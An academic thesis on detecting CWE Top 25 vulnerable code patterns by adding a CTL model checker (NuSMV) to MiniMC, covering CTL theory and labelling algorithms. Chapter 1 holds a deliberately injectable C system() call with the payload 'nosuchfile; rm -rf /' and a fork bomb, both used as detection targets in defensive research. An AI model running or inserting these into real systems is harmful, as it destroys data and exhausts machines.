
Summary

Being able to model the correctness of a program is a very important aspect of theoretical
computer science. One branch of this is the field of model checking, which is the process of
verifying that a model of a system meets a given specification. In this thesis we will look
at the problem of detecting vulnerable code patterns using model checking, by extending
MiniMC with a CTL verification engine, NuSMV. The top 25 CWE list from MITRE is
used as a baseline, due to the existence of a list of known vulnerable code patterns that can
be used to test the implementation. The CWE list is deemed to provide a good starting
point for a list of vulnerable code patterns, as it is a list of the most common vulnerabilities
in software.

In the thesis we cover the theory behind model checking, and how it can be used to
verify a model of a system. We also cover the theory behind Computation Tree Logic, and
how it can be used with model checking to verify systems. Here we show the syntax and
semantics of CTL, and how they can be used to verify a model. We further explain how
NuSMV uses Bounded Decision Diagrams to reduce the state space of a model, and how
this can be used to improve verification time a model. With the theory of CTL we cover
the implementation of NuSMV into MiniMC. We explain how the implementation works,
and how we use it to verify models based on programs.

With this thesis we contribute with an implementation of NuSMV into MiniMC, and a
discussion of the results of applying this tool to the top 25 CWE list. We implement NuSMV
into MiniMC and perform analysis on a subset of the top 25 CWE list. Most notably we
find that the implementation can detect fork bombs, double free, and privilege escalation to
some degree. However, the implementation is not able to detect all of the vulnerable code
patterns in the top 25 CWE list. This is due to limitations in both MiniMC and NuSMV,
and the combination of these, in our implementation. We note that MiniMC uses LLVM IR
as its input language, and that due to LLVM using SSA form for register assignment, it is
impractical to detect any vulnerable code patterns that depend on assignment of variables.
While not impossible, it is impractical as most registers are rarely assigned more than
3 states, Unassigned, Assigned, and NonDet. Furthermore, we have implemented some
mitigations to prevent state space explosion, by eliminating empty transitions from the
model provided by MiniMC. By doing so, we were able to significantly reduce the state
space of the model, and thus reduce the time it takes to verify the model. We also reason
about how the implementation can be further improved, by concatenating edges and their
instructions, however this is not implemented in this thesis. We note that NuSMV is not
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able to detect any vulnerable code patterns that depend on the size of the input. This is
because the current implementation uses dataflow analysis instead of tracking real values.
Furthermore, we are not able to reason about sizes of buffers or arrays, as NuSMV does
not support these operations. This means that we are not able to detect any vulnerable
code patterns that depend on the size of the input, such as buffer overflows.

Lastly we present some future improvements, that would alleviate some of the limita-
tions of the current implementation. In a future version of MiniMC, we would like to see
the implementation of a new input language, that is not in SSA form, as this would greatly
improve the ability to detect vulnerable code patterns.
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Chapter 1 Introduction

Vulnerable and unsafe code has the potential to cause a system to crash, cause a
loss of data, or act as a gateway for attackers. Checking for vulnerable patterns can
contribute to making a system more secure, depending on the use case. Systems
that contains vulnerable code can be at high risk for malicious attacks. Common
Weakness Enumeration (CWE) is a community-developed list of common software
weaknesses. The CWE website publishes a top 25 list each year with the most
common vulnerabilities in programming languages for that year. The Top 25 list
contains code snippets, which can later be used to perform pattern matching on
software systems to detect vulnerable code.[1]

Creating a system that can detect software vulnerabilities is a difficult task, and
there are many different approaches to this problem. Various solutions exists for de-
tecting unsafe code as well as specific malware in software systems. Most antivirus
software match a signature of a program against a database containing known mal-
ware signatures.[2] This database must be maintained and up to date, in order to keep
up with new malware being released. To detect unsafe code patterns, one solution is
to use static analysis.[3]

We investigate how the implementation of Computational Tree Logic (CTL) in
a symbolic execution tool, called MiniMC, can be used to detect malicious patterns
in Low Level Virtual Machine (LLVM) Intermediate Representation (IR). Symbolic
execution is a technique that involves executing a program with symbolic values, and
then using a constraint solver to determine if a property holds. Model checking and
symbolic execution are techniques that are used to verify properties of a software
program.

1.1 Related Work

Clarke present a model checking algorithm that can be used with binary decision
diagrams to verify the properties of a system, in their publication „Model Cheking“.
The system is represented as a finite state machine. To verify the properties of the
finite state machine, the model checker makes use of CTL. This logic expands upon
Linear Temporal Logic (LTL).[4]

Kinder et al. proposes a solution to detect malicious code by model checking in
their publication „Detecting Malicious Code by Model Checking“. Their solution in-
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4 Chapter 1. Introduction

cludes detecting worms found in malicious software spread via e-mail. These worms
make system calls to Windows functions. They propose an extension of previously
mentioned CTL, called Computational Tree Predicate Logic (CTPL) which allows
for the use of predicates in formulas of the logic. They test their solution on the mal-
ware, W32/Mydoom, and were able to detect the first version as well as a derivative
version.[5]

Song & Touili proposes a solution to detect malicious code by model checking
in their publication „Efficient Malware Detection Using Model-Checking“. Similar to
Kinder et al., they propose an extension of CTL, called Stack Computational Tree
Predicate Logic (SCTPL) which allows for the use of predicates in formulas of the
logic. They use a only parts of the SCTPL logic, which they call SCTPL\x. They
test their solution on over 200 known malware samples.[6]

Cimatti et al. presents a model checking tool called NuSMV in their publication
„NUSMV: a new symbolic model checker“. NuSMV is a symbolic model checker that
uses Binary Decision Diagrams (BDD) to represent the state space of the system.
NuSMV is able to verify the properties of a system using CTL or LTL with the ability
to provide counterexamples if the property is not satisfied. It is a reimplementation of
the CMU SMV model checker. They benchmark NuSMV against CMU SMV showing
improvements in speed.[7]

Kottler et al. present a solution to detect malicious code in programmable logic
controllers (PLC’s) in their publication „Formal verification of ladder logic programs
using NuSMV“. The malicious code can be hard to detect as it is often hidden in the
PLC. They use NuSMV to verify the properties of the PLC’s. The properties are
verified using CTL.[8]

Xie et al. present a solution to a similar problem in their publication „A mal-
ware detection method using satisfiability modulo theory model checking for the
programmable logic controller system“, as Kottler et al. did in their publication.
However, whereas Kottler et al. used NuSMV, Xie et al. used NuXMV to detect
malware in PLC’s.[9]

Kulczynski et al. presents a preliminary work using UPPAAL as a model checker
for LLVM code in their publication „Analysis of Source Code Using UPPAAL“. They
use MiniMC as the tool to automatically build the UPPAAL model and connect the
Control Flow Automata (CFA) interpreter. MiniMC accepts an LLVM file as input,
along with entry point arguments. The MiniMC tool acts as a translator from LLVM
to the UPPAAL structure, which they call UL.[10]

1.2 Problem Definition

This section defines the problem we try to solve in this report. We start by defining
the problem domain and then present the problem statement.

The CWE list contains various vulnerability types that could have security rami-
fications. A weakness in a software system could under certain circumstances force
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a system to crash, or be a gateway for a bad actor to gain access to a system. The
weaknesses on the CWE list are used by developers and software security researchers
as a platform to discuss how to eliminate or mitigate vulnerabilities in code. We look
at three examples from the top 25 list and describe the vulnerability and how it can
be exploited.

CWE-416: Use-After-Free

Use-after-free (UAF) is related to incorrect use of dynamic memory during a programs
execution and can result in program crashes or arbitrary code execution. The heap is
used to store large amounts of data. Its state can be controlled through calls within
the program to free or allocate blocks of memory. Pointers in a program refers to a
block in the heap. If a pointer is not cleared after the memory block is freed or moved
it is called a dangling pointer. If the program allocates the block of memory which
the dangling pointer points to, the pointer can be used to access the data in the block.
The bad actor can use the dangling pointer to direct the program to a malicious code
block in the heap, and execute it. Detection of UAF can be done by static code
analysis or by fuzzing. A real world example of a UAF was found in the Google
Chrome browser in 2023 and described in CVE-2023-1811[11]. The vulnerability was
found in Frames in Google Chrome. A bad actor could exploit the vulnerability
to convince a user to engage in a specific UI interaction to exploit the heap, via a
constructed HTML page. This vulnerabilitiy was categorised as critical.[12]

CWE-400: Uncontrolled Resource Consumption

This weakness is about improper handling of allocation and maintenance of limited
resources within a program. Resources can be memory, CPU, disk space, or file
handles. If a bad actor can gain access to the allocated resources and the size is
not controlled, it can result in the system being unresponsive. The most frequent
scenarios for uncontrolled resource consumption is a lack of throttling in the amount
of resources allocated to a user or a program, or not releasing resources after usage.
It could also be losing references to a resource before shutdown of a program. The
cause of this weakness is often due to a lack of error handling and special cases, which
the programmer might not have considered. CWE presents a small sample program
which is vulnerable to uncontrolled resource consumption.[13]

Listing 1.1: A C program demonstrating an uncontrolled resource consumption[13]

1 int processMessage(char ** message)
2 {
3 char *body;
4 int length = getMessageLength(message [0]);
5 if (length > 0) {
6 body = &message [1][0];
7 processMessageBody(body);
8 return(SUCCESS);
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9 }
10 else {
11 return(FAIL);
12 }
13 }

The function in Listing 1.1 takes a two-dimensional character array which contains
the length of a message and the message body. The function validates that the length
of the message is longer then 0. The pointer of the array, containing the body of the
message and memory is allocated for the message body array. In this example there is
no limit how long the message body can be, and thus the amount of memory allocated
can exhaust the program.[13]

CWE-78: Improper Neutralization of Special Elements used in an OS Command
(’OS Command Injection’)

This vulnerability is related to a program creates a command for OS using input from
another part of the system that can be influenced by external factors. However, it
fails to properly handle certain elements that could change the command’s purpose
when it is passed on to another part of the system. It can allow a bad actor to
execute arbitrary commands directly on the OS and result in the system environment
becoming vulnerable. This vulnerability can be especially dangerous if the program
is running with elevated privileges. The weakness can be subcategorised into two
types. Either a command is supplied to the program arguments directly from user
input or it is supplied from another part of the system. If the program is supplied
with a command from another part of the system or an external source, the bad
actor can not prevent the command from being executed. However, the bad actor
can influence the command to be executed. For example, cat is a command that is
used to concatenate files and print on the standard output. If the program receives
a cat command, the bad actor can replace command seperators with a malicious
program, and execute it after cat is finished. This is shown with these four lines of
code.

Listing 1.2: This program concatenates a command line arguments with a string, and executes them
with a system call[14]

1 int main(int argc , char** argv) {
2 char cmd[CMD_MAX] = "/usr/bin/cat ";
3 strcat(cmd , argv [1]);
4 system(cmd);
5 }

The program in Listing 1.2 takes a filename as a command line argument and dis-
plays the content of the file.[15] However, if the user passes an argument such as
nosuchfile; rm -rf / , it would result in cat failing and then proceed to recusively

delete files.[14]
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1.2.1 Problem Statement

We have presented three examples of vulnerabilities from the CWE top 25 list. The
examples varies in the type of vulnerability and how they can be exploited. The first
type is related to how pointers and memory is handled in a program. The second
type is related to how a program handles resources. The third type is related to how
a program handles commands from external sources. All three vulnerable patterns
are detectable using static code analysis. This report aims to answer the following
problem statement:

How can MiniMC be extended with a CTL model checker to detect vulnerable code
patterns in LLVM IR

1.3 Scope

In order to verify that a model checker can identify patterns in code, which potentially
can prove to be malicious, we have made a sample of small C programs to test our
model checker with. These programs are complied to LLVM IR by the Clang compiler
and then loaded into MiniMC. We have chosen to look at vulnerable patterns in C
code, rather then model checking actual malware. We look at CWE entries, and model
check these, to find vulnerable patterns. When looking for malware we would need to
express a CTL formula for each special case, whereas when looking at vulnerability
patterns we can express a CTL formula for each pattern which we hope will catch
multiple cases. An example could be a fork bomb, which is shown in Listing 1.3.

Listing 1.3: A fork bomb.

1 int main() {
2 while (1) {
3 fork();
4 }
5 }

As this program is never terminating and constantly call fork() the CTL expression
should catch that fork() is always called. Such an expression would not catch a
fork bomb within a for loop, as the program would theoretically terminate. The CTL
expression could be adjusted to then check if fork() is called and then is called again
in a future state. We present more vulnerable patterns in Chapter 4.

1.3.1 Environment and Permissions

For the purpose of this project, we have decided to limit the scope of the model
checker to only work on Linux systems, with Linux specific code. This is due to the
fact that it is much easier to compile C code to LLVM IR on Linux systems, as the
Clang compiler is generally available on Linux. Furthermore, this makes it easy to
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reason about permissions, as Linux systems have a very strict permission system. For
most of the vulnerabilities we showcase in Chapter 4, we assume that the binaries
are owned by the root user, and that the binaries have the setuid bit set. A setuid
bit is a permission bit that allows the users who execute the file to do so with the
permissions of the owner of the file. This is also the case for the programs we showcase
in Chapter 4, as some of them need to be able to access files that are only accessible
by the root user.[16]



Chapter 2 Background

This chapter provides the background knowledge for the proposed solution. We start
by introducing the basics of MiniMC and of the LLVM IR which is loaded into
MiniMC. Section 2.1 introduces the MiniMC tool. Section 2.2 describes the process
of working with LLVM IR and compares it to assembly code. Section 2.3 describes
the model checking process. We introduce CTL in Section 2.4, which is used in the
model checking labeling algorithm described in Section 2.5.

2.1 Introduction to MiniMC

This section is based on the papers „Analysis of Source Code Using UPPAAL“ [10] and
„Control-Flow Residual Analysis for Symbolic Automata“ [17]. We will give a brief in-
troduction to the MiniMC tool, which is used to perform static analysis of C programs.

MiniMC is a tool for performing static analysis of C programs, compiled to the
LLVM IR. The tool uses a graph representation of the program, in the form of CFA
to perform its analysis and is based on the UPPAAL model checker. MiniMC is able
to perform several different types of analysis, such as reachability analysis and state
enumeration.

2.1.1 Control Flow Automata

A CFA is a mathematical model used to represent the control flow behavior of a
program or system. A CFA is a directed graph, where each node represents a location
in the program and each edge represents a transition between two locations. The
CFAs consists of locations and edges, where each location represents a program state
and each edge represents an amount of instructions. The edges are labelled with
instructions, which are executed when transitioning from one location to another.
We formally define a CFA as:

Definition 1 (Control Flow Automaton). A Control Flow Automaton is a tuple C =
(L,E, l0, E), where L is a finite set of locations, E is a finite set of edges, l0 ∈ L is
the initial location and E : E → P(L× I × L) is a function that maps each edge to
a triple of locations, instructions and locations.

9



10 Chapter 2. Background

Edges are labelled with instructions, which are executed when transitioning from
one location to another. The instructions are executed in the order they are listed
on the edge. Instructions are executed atomically, meaning that they cannot be
interrupted by other instructions. As such the execution of an instruction is always
completed before the next instruction is executed. The execution of an instruction
can be seen as a transition between two states, where the first state is the state before
the instruction is executed and the second state is the state after the instruction is
executed. An example of a CFA can be seen in Figure 2.1.

l0start l2 l3 l4

l5

l6

a = 1; p = malloc(2)

Compare a == 1 F

T

free(p)

free(p)

Figure 2.1: Example of a CFA modelling a basic program that is vulnerable to double-free.

2.1.2 MiniMC Program Representation

MiniMC uses an internal representation of a program, containing information about
the program, such as the heap layout, the initialiser and the functions of the pro-
gram. Furthermore, the entry point of the program is also stored in the program
representation. The program representation is defined as:

Definition 2 (MiniMC Program). A MiniMC program is a tuple P = (F,H, I, e),
where F is a function map, H is a heap layout, I is an initialiser and e is the entry
point of the program.

The initialiser is a list of instructions, which are executed before the main method
of the program. These are usually instructions for setting up the heap.

Functions contain properties of a CFA, with the exception of the initial location,
which is stored in the program representation. As such, a function is defined as:

Definition 3 (Function). A function is a tuple f = (L,E, E), where L is a finite set
of locations, E is a finite set of edges and E : E → P(L × I × L) is a function that
maps each edge to a set of triples of locations, instructions and locations.

The heap layout is a list of objects, where each object has an object ID and an
object size. The heap layout is defined as:

Definition 4 (Heap Layout). A heap layout is a list of objects, where each object is a
tuple o = (id, size), where id is the object ID and size is the object size.
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2.2 LLVM IR

This section is based on the LLVM Language Reference Manual [18]. The section de-
scribes the LLVM IR and Single Static Assignment (SSA) form, and how this differs
from traditional Assembly.

Where other Assembly variants such as ARM or x86 contains adresses and offsets, the
LLVM IR uses variables, data types and function calls. This enhances the breadth of
analyses that are possible, as the LLVM IR is more expressive than other Assembly
variants. Most importantly, MiniMC already has a working LLVM loader, allowing
us to use MiniMC’s existing infrastructure.

LLVM uses SSA, meaning that LLVM uses temporary variables to store the result
of each operation. Other assembly variants store the results of each operation in a
finite number of registers. The names for registers in LLVM IR are simply numbers,
making it difficult to track the values of the registers. However, in MiniMC the
registers are named after the functions in which they are assigned, which makes it
easier to track the origin of registers. This problem, with registers and their value is
shown in Listings 2.1 to 2.3.

Listing 2.1: Small snippet changing the value
of ’a’

1 int main(){
2 int a = 2;
3 a += 4;
4 a += 5;
5 return a;
6 }

Listing 2.2: The LLVM IR equivalent

1 define dso_local i32 @main() #0
{

2 %1 = alloca i32 , align 4
3 %2 = alloca i32 , align 4
4 store i32 0, ptr %1, align 4
5 store i32 2, ptr %2, align 4
6 %3 = load i32 , ptr %2, align 4
7 %4 = add nsw i32 %3, 4
8 store i32 %4, ptr %2, align 4
9 %5 = load i32 , ptr %2, align 4

10 %6 = add nsw i32 %5, 5
11 store i32 %6, ptr %2, align 4
12 %7 = load i32 , ptr %2, align 4
13 ret i32 %7
14 }

Listing 2.3: ARM Assembly equivalent

1 main:
2 .LFB0:
3 .cfi_startproc
4 sub sp, sp, #16
5 .cfi_def_cfa_offset 16
6 mov w0, 2
7 str w0, [sp, 12]
8 ldr w0, [sp, 12]
9 add w0, w0, 4

10 str w0, [sp, 12]
11 ldr w0, [sp, 12]
12 add w0, w0, 5
13 str w0, [sp, 12]
14 ldr w0, [sp, 12]
15 add sp, sp, 16
16 .cfi_def_cfa_offset 0
17 ret
18 .cfi_endproc
19 .LFE0:

In this example, the value of a is changed three times. However, in the LLVM
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IR, the value of a is stored in %2 , %4 , and %6 . But also in %3 , %5 , and %7

when it is loaded. On the other hand, the value of a within the assembly is stored
in w0 every time.

2.3 Model Checking

This section is based on Logic in Computer Science: Modelling and Reasoning about
Systems by Huth & Ryan [19] and the papers „Automatic Verification of Finite State
Concurrent Systems Using Temporal Logic Specifications: A Practical Approach“
Clarke et al. [20], and „Software model checking“ by Jhala & Majumdar [21].

Model checking is a verification technique where a model of a system is checked
whether it satisfies a given property. The model is a representation of the system
and the property is a statement about the system. It verifies the correctness of a
system and was first introduced by Clarke & Emerson in „Design and Synthesis of
Synchronization Skeletons Using Branching-Time Temporal Logic“[22]. Model check-
ing consist of two parts, the model representation and the verification process. The
model of the system is often represented as a finite state machine. It shows the
behaviour of the system and the possible transitions between states.

A state is a particular configuration of the system that is reachable during the
execution of the system. States may hold information about the system, such as the
value of variables. A transition is a change in the state of the system. Exploring the
state space of the system is done by using a worklist algorithm, with a frontier of
states to explore. Once all finite states are modeled they are explored and verified
whether they satisfy a given property.

A property is an assertions about the system. It could be that a value of a state
must always be potitive or that certain functions must not be called. Properties are
classified as either safety or liveness properties, where safety properties stipulates
that bad things do not happen in the system and liveness properties stipulates that
good things will eventually happen in the system. In order to explore all states,
algorithms such as breadth-first search and depth-first search are used to traverse the
state space. This is what is known as explicit model checking and this can be a very
time consuming process and is not feasible for large systems.

In order to reduce the time needed to explore the state space of larger system,
symbolic model checking is used. Symbolic model checking represents the system and
the property as boolean expressions. The boolean expressions can then be evaluated
with tools like a SAT solver, which are used to solve boolean satisfiability problems.
An illustration of the input and output of model checking is shown in Figure 2.2.[19,
21]
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Figure 2.2: Input and output for an example model checker.

2.3.1 State Space Explosion

Dealing with state space explosion is a difficult but crucial part of model checking. It
is important, because a model checker will become unable to perform its task if the
state space is too large. Either by running out of memory or by taking too long to
complete. An example of this is when you wish to do explicit state model checking
with integer variables. If a variable can take on all possible values of a 32 bit integer,
it alone will create a state space of 232 states, which is then multiplied by other
potential variables. This makes it critical to attempt to limit the possible values of
variables.

There are several ways to attempt to deal with state space explosion. One way
is to use more efficient data structures. Another is to use bounded model checking,
where the model checker only attempts to verify paths that are of a specificied length
or shorter. Model checking system with large amounts of identical or similar compo-
nents could be implemented by proving a property for a single component and then
abstracting the applicable components away. These examples are not exhaustive and
are simply a sample of possible approaches into dealing with the issue of state space
explosion.[19]

2.4 Computational Tree Logic

This section is based on the book Logic in Computer Science: Modelling and Reason-
ing about Systems by Huth & Ryan [19], the paper „Software model checking“ by Jhala
& Majumdar [21], and the paper „Design and Synthesis of Synchronization Skeletons



14 Chapter 2. Background

Using Branching-Time Temporal Logic“ by Clarke & Emerson [22], as well as the
book Handbook of Automated Reasoning by Edmund M. Clarke [23]. The section is
written to give an introduction to CTL, and to provide the necessary information to
understand the implementation and use of a CTL model checker.

CTL is a branching time logic, meaning that it uses a tree structure to model time.
To check whether a path π satisfies a CTL formula ϕ it is necessary to check if all
paths or if there exists a path which satisfies. CTL is used in model checkers as a
formal verification of a system to determine if a system possesses either a safety or
liveness property.[19]

The CTL syntax notation used in this report is divided into two parts, state
formula and path formula. The temporal connectives in CTL are pairs of symbols,
where the first symbol must either be A or E, and the second symbol must be one
of the following: X, U, F or G. p is an atomic proposition that can be evaluated to
either true or false, over variables, constants or functions. As an example, the CTL
expression EX p is true if there exists a path where the property p is true in the next
state. We present the syntax of CTL as shown in Figure 2.3

ϕ := ⊤ | ⊥ | p | (ϕ ∧ ϕ) | (ϕ ∨ ϕ) | ¬ϕ | (ϕ→ ϕ) | AXϕ | EXϕ |
AF ϕ | EF ϕ | AG ϕ | EG ϕ | A[ϕ U ϕ] | E[ϕ U ϕ]

Figure 2.3: Syntax for CTL specifications. A and E are the universal and existential quantifiers
over paths respectively. X is the next operator, holding true if the state formula is true for the
next step. U is the until operator, which is true if the second state formula is true in the current
state or if the first state formula is true in the current state and remains true until the second state
formula becomes true in a later state. G and F are the universal and existential quantifiers over
states respectively.[19, 22]

The tree structures shown in Figure 2.4 and Figure 2.5, illustrate execution paths.
The black nodes are states where ϕ1 is true and the grey nodes are states where ϕ2 is
true. We see that in Figure 2.4 the formula is true for all paths, while in Figure 2.5
the formula is true for at least one path.[23]

The semantics of CTL are defined based on the notion of a transition system:

Definition 5 (Transition System). “A transition systemM = (S,→, L) is a set of states
S endowed with a transition relation→ (a binary relation on S), such that every s ∈ S
has some s′ ∈ S with s′ → s, and a labelling function L : S → P (Atoms).”[19, p.
178]

A transition system can be modeled as a Kripke structure, which is defined as:

Definition 6 (Kripke Structure). A Kripke structure is a tuple M = (S,L,R, I),
where M is the Kripke structure, S is a set of states, L is a set of labels, R is a
relation between states, and I is a set of initial state. The relation R is a partial order
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Figure 2.4: A(ϕ1 U ϕ2) which is true if for all
paths where ϕ1 is true until ϕ2 is true. The black
nodes are states where ϕ1 is true and the grey
nodes are states where ϕ2 is true.

Figure 2.5: E(ϕ1 U ϕ2) which is true if there
exists a path where ϕ1 is true until ϕ2 is true.
The black nodes are states where ϕ1 is true
and the grey nodes are states where ϕ2 is
true.

AU

¬

x

∨

y z

Figure 2.6: The parse tree for the CTL expression A(¬xU(y ∨ z)).

relation, where R ⊆ S × S. The labeling function L defines all atomic propositions,
that are valid, in a given state s ∈ S, as L(s).[5, 19, 22, 23]

To indicate the truth inM, we use the notationM, s0 |= ϕ, where s0 is the initial
state in the Kripke structureM and ϕ is a formula holds true. WhetherM, s0 |= ϕ,
holds is determined recursively in the parse tree of a CTL expression. If ϕ is atomic
then the satisfaction is determined by the transition relation →. If the root of the
parse tree is a boolean connective (¬,⊤,∧,∨) then the satisfaction is determined
using a truth table. If the root of the parse tree is a path quantifier (A,E) then the
satisfaction is determined by either all paths or whether there exists some path for s.

A[ϕ1Uϕ2] from Figure 2.3, is true in a state s0 if for all paths the series of tran-
sitions from s0 → sn−1 in which ϕ1 is true and ϕ2 is true in state sn. If ϕ2 is true in
state s0 then the expression will be true regardless of ϕ1. EU and AU are a shorthand
for the exists until and always until connectives, respectively. We can draw a parse
tree for the CTL espression: A(¬xU(y ∨ z)) as shown in Figure 2.6. The seman-
tics of CTL are defined in Figure 2.7.[19] We can show that some CTL formulas are
equivalent to others.
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M, si |= pbfiffp ∈ L(si)
M, si |= ¬ϕ iff M, si ̸|= ϕ
M, si |= ϕ ∧ ψ iff M, si |= ϕ and M, si |= ψ
M, si |= ϕ ∨ ψ iff M, si |= ϕ or M, si |= ψ
M, si |= ϕ→ ψ iff if M, si |= ϕ then M, si |= ψ
M, si |= ⊤ and M, si ̸|= ⊥
M, si |= AXϕ iff ∀π = (si, si+1, ...)M, si+1 |= ϕ
M, si |= EXϕ iff ∃π = (si, si+1, ...)M, si+1 |= ϕ
M, si |= AGϕ iff ∀π = (si, si+1, ...)∀j ≥ i.M, sj |= ϕ
M, si |= EGϕ iff ∃π = (si, si+1, ...)∀j ≥ i.M, sj |= ϕ
M, si |= AFϕ iff ∀π = (si, si+1, ...)∃j ≥ i.M, sj |= ϕ
M, si |= EFϕ iff ∃π = (si, si+1, ...)∃j ≥ i.M, sj |= ϕ
M, si |= AϕUψ iff ∀π = (si, si+1, ...)∃j ≥ i.M, sj |= ψ and ∀i ≤ k <
j :M, sk |= ϕ
M, si |= EϕUψ iff ∃π = (si, si+1, ...)∃j ≥ i.M, sj |= ψ and ∀i ≤ k <
j :M, sk |= ϕ

Figure 2.7: The semantics of CTL. We let Σ be the set of atomic propositions p. The first seven
semantic rules are for classical operators. The last rules are temporal operators semantics. A generic
path through the state space is denoted by π = (si, si+1, ...)

[19]
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Definition 7 (CTL Equivalence). Two CTL formulas ϕ and ψ are said to be seman-
tically equivalent if any state in any model which satisfies one of them also satisfies
the other we denote this by ϕ ≡ ψ.[19]

The equivalences of CTL is presented in Figure 2.8 and can be deduced by De
Morgans laws. They show that CTL connectives can be expressed in terms of other

1. ¬AXϕ ≡ EX¬ϕ
2. ¬AFϕ ≡ EG¬ϕ
3. ¬EFϕ ≡ AG¬ϕ
4. AϕUψ ≡ ¬(E(¬ψU(¬ϕ ∧ ¬ψ) ∨EG¬ψ))
5. AFϕ ≡ A[⊤Uϕ]

6. EFϕ ≡ E[⊤Uϕ]

Figure 2.8: The CTL equivalences that are used to find the adequate set of connectives. [19]

connectives and are used to find the adequate set of CTL connectives. The adequate
set are the set of connectives that can deduce all other connectives. The definition is
given as:

Definition 8 (Adequate CTL Set). A set of temporal connectives in CTL is adequate
if, and only if, it contains at least one of AX, EX, at least one of EG, AF, AU, and
EU [19].

To find the adequate set we see that AX can be expressed as ¬EX¬ by using the
first equivalence in Figure 2.8. AG, EG, AF and EF can be expressed by AU and EU.
This is done by first rewriting AG and EG using equivalence 2 and 3 in Figure 2.8.
Then use equivalence 5 and 6 to rewrite AF and EF to AU and EU. This means that
AU and EU and EX are adequate set. It also means that using equivalence 4, that
EU, EX and EG form an adequate set.

It is worth noting that weak-until AW / EW and release AR / ER connectives are
not part of CTL however they can be expressed using the connectives EU and AU as
well as the operator ¬. As they are not part of CTL, this report does not cover how
do deduce them, however we refer to the book Logic in Computer Science: Modelling
and Reasoning about Systems.[19]

2.5 CTL Model Checking

This section is based on Logic in Computer Science: Modelling and Reasoning about
Systems by Huth & Ryan [19] and the publication „Software model checking“ by Jhala
& Majumdar [21], and the publication „Graph-Based Algorithms for Boolean Function
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Manipulation“ by Bryant [24]. It describes how CTL model checking works and how
this can be utilised to verify software programs.

The state space for larger software programs can grow to become large, and CTL
formula can get complicated. It is therefore of great interest to have efficient model
checking algorithms. As described in Section 2.4, a model checker verifies that a CTL
formula holds using the notionM, si |= ϕ.

A labelling algorithm is a model checking algorithm that labels states in a model
with subformulas of a CTL formula ϕ. The labelling algorithm presented in Algo-
rithm 1, takes a model M and a CTL formula ϕ and returns the set of states S that
satisfies the CTL formula, as shown in Figure 2.2.

It does not need to handle every CTL connective because it uses the adequate sets
to deduce the remaining connectives as described in Section 2.4. The algorithm uses
a translation function to translate a CTL formula ϕ to the adequate set of connectives
using the equivalences seen in Figure 2.8. is is the case for EF, AG, AX, AU and EG
The algorithm then labels all states in the model with a subformula ψ of ϕ for the
states which satisfies ψ. States are labelled recursively bottom-up in the parse tree.

The basic psudocode algorithm for CTL model checking is shown in Algorithm 2.
It is case driven meaning that given a connective it will return the set of states
which satisfies the connective. Each of the adequate connective have a defined SAT-
function, which the algorithm calls if either AF,EU or EX is the root in the parse
tree. The algorithm shown in Algorithm 3 is for the connective AF and computes
the set of states that satisfies ϕ by calling Algorithm 2. It takes the set of states
Y and uses Equation (2.1) to get the set of all previous states that only transitions
into Y . It repeats this process until the sets X and Y are equal. The functions
in Equations (2.1) and (2.2) are used to calculate the pre-image of a set of states,
because pre denotes backwards travelling on the transitions.

pre∀(Y ) = {s ∈ S | ∀s′, (s→ s′ implies s′ ∈ Y )} (2.1)

pre∃(Y ) = {s ∈ S | ∃s′, (s→ s′ and s′ ∈ Y )} (2.2)

Both functions take a subset of states, denoted as Y and returns a set of states. For
∀ the transitions must lead to states in Y . For ∃ the transitions can lead to states
in Y .[19] The repeated labelling process of Algorithm 3 is visualised in Figures 2.9
and 2.10. First all sub states are checked if they satisfy AF. If they satisfy, the root
node is also labelled AF. Algorithm 2 has a complexity of O(f ·V · (V + E)) where
f is the amount of connectives, V is the number of states and E is the number
of transitions. It is possible to construct a more effective algorithm, by converting
all input connectives to existential normal form. This means instead of translating
connectives to the adequate set, they are translated to EG,EU and EX. This will
reduce the complexity to O(f · (V + E)).

In order to prove that cases in Algorithm 2 terminate and are correct, it is required
to prove that the algorithm will eventually stop. For simple cases where the CTL
formula does not contain subexpression it can be computed directly. However, when



2.5. CTL Model Checking 19

Algorithm 1 The labelling algorithm[19]

1: procedure CTLModelChecker(M = (S,→, L), ϕ)
2: ϕ← TRANSLATE(ϕ)
3: Label each state s ∈ S with the subformulas of ϕ that are satisfied there
4: for each subformula ψ of ϕ, in increasing order of size do
5: for each state s ∈ S that has already been labelled with all immediate

subformulas of ψ do
6: Label s with ψ according to the following cases:
7: if ψ is ⊥ then
8: Do not label any states with ⊥
9: else if ψ is atomic proposition p then

10: if p ∈ L(s) then
11: Label s with p
12: end if
13: else if ψ is ψ1 ∧ ψ2 then
14: if s is already labelled with both ψ1 and ψ2 then
15: Label s with ψ1 ∧ ψ2

16: end if
17: else if ψ is ¬ψ1 then
18: if s is not already labelled with ψ1 then
19: Label s with ¬ψ1

20: end if
21: else if ψ is AF ψ1 then
22: Label any state labelled with ψ1 with AF ψ1

23: repeat
24: Label any state with AF ψ1 if all successor states are labelled

with AF ψ1, until there is no change
25: until no more states can be labelled with AF ψ1

26: else if ψ is E[ψ1 U ψ2] then
27: Label any state labelled with ψ2 with E[ψ1 U ψ2]
28: repeat
29: Label any state with E[ψ1 U ψ2] if it is labelled with ψ1 and at

least one of its successors is labelled with E[ψ1 U ψ2], until there is no change
30: until no more states can be labelled with E[ψ1 U ψ2]
31: else if ψ is EX ψ1 then
32: if at least one successor state of s is labelled with ψ1 then
33: Label s with EX ψ1

34: end if
35: else if ψ is EG ψ1 then
36: label all states with EG ψ1

37: if any state s is not labelled with ψ delete the label EG ψ1 then
38: repeat
39: delete the label EG ψ1 from any state s if none of its succes-

sors is labelled with EG ψ1

40: until there is no change
41: end if
42: end if
43: end for
44: end for
45: return the set of states satisfying ϕ
46: end procedure
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Algorithm 2 The Boolean Satisfiability Algorithm[19]

1: function SAT(φ)
2: case
φ is ⊤: return S
φ is ⊥: return ∅
φ is an atomic proposition: return {s ∈ S | φ ∈ L(s)}
φ is ¬φ1: return S\ SAT(φ1)
φ is φ1 ∧ φ2: return SAT(φ1) ∩ SAT(φ2)
φ is φ1 ∨ φ2: return SAT(φ1) ∪ SAT(φ2)
φ is φ1 → φ2: return SAT(¬φ1 ∨ φ2)
φ is AX φ1: return SAT(¬EX ¬φ1)
φ is EX φ1: return SATEX(φ1)
φ is A[φ1 U φ2]: return SAT(¬(E[¬φ2 U (¬φ1 ∧ ¬φ2)] ∨ EG ¬φ2))
φ is E[φ1 U φ2]: return SATEU(φ1, φ2)
φ is EF φ1: return SAT(E(U φ1))
φ is EG φ1: return SAT(¬AF ¬φ1)
φ is AF φ1: return SATAF(φ1)
